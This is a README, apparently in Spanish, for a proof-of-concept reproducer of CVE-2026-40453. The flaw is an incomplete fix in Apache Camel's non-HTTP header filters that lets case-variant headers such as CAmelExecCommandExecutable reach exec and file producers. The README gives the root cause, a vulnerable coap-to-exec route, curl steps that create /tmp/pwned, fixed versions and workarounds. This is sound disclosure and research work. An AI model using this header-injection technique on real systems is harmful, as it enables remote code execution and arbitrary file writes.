
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
Este proyecto demuestra CVE-2026-40453 — una corrección incompleta para CVE-2025-27636. La corrección de 2025 agregó setLowerCase(true) a HttpHeaderFilterStrategy para que los nombres de encabezado con variantes de mayúsculas (por ejemplo, CAmelExecCommandExecutable) se filtren junto con el canónico CamelExecCommandExecutable. La misma llamada no se aplicó a cinco implementaciones de HeaderFilterStrategy que no son HTTP (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), las cuales filtran con distinción de mayúsculas mientras que el mapa de Encabezados de Camel Exchange almacena encabezados sin distinción de mayúsculas. Un atacante puede por lo tanto inyectar un encabezado de control Camel* con variantes de mayúsculas que elude el filtro pero aún es resuelto por componentes posteriores (camel-exec, camel-file, ...) bajo su nombre canónico → ejecución remota de código / escritura arbitraria de archivos.
Este reproductor demuestra la elusión con camel-coap (autónomo, sin intermediario externo); la misma falla afecta a las estrategias JMS/SJMS/Google-Pubsub.
Aviso: https://camel.apache.org/security/CVE-2026-40453.html
CoAPHeaderFilterStrategy (versión afectada) filtra Camel* con distinción de mayúsculas:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
Cuando llega una solicitud CoAP, CamelCoapResource.handleRequest() asigna cada parámetro de consulta URI a los encabezados de Exchange In, controlado por strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable — startsWith("Camel") es verdadero → filtrado.CAmelExecCommandExecutable — startsWith("Camel") es falso (CAm ≠ Cam) → no filtrado.El mapa de encabezados de Exchange no distingue entre mayúsculas y minúsculas, por lo que el encabezado con variante de mayúsculas es resuelto posteriormente por el productor exec bajo su nombre canónico CamelExecCommandExecutable, sobrescribiendo el comando.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Actualice a 4.14.6 / 4.18.2 / 4.20.0. La corrección (CAMEL-23313) agrega setLowerCase(true) a las cinco implementaciones de HeaderFilterStrategy que no son HTTP para que los nombres con variantes de mayúsculas Camel* también se filtren.
Hasta actualizar:
HeaderFilterStrategy personalizado con setLowerCase(true), o removeHeaders con un patrón sin distinción de mayúsculas.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componentes | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (este PoC usa camel-coap) |
| Clases Afectadas | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Causa raíz | Filtrado con distinción de mayúsculas startsWith("Camel"/"camel") (falta setLowerCase(true)) vs un mapa de encabezados de Exchange sin distinción de mayúsculas |
| CWE | CWE-20 (Validación de Entrada Incorrecta) — inyección de encabezados de mensaje |
| Impacto | RCE / escritura arbitraria de archivos a través de productores controlados por encabezados |
| Versiones Afectadas | Desde 3.0.0 hasta antes de 4.14.6, desde 4.15.0 hasta antes de 4.18.2, desde 4.19.0 hasta antes de 4.20.0 |
| Versiones Corregidas | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (completa la corrección para CVE-2025-27636) |
| Reportero | Saroj Khadka |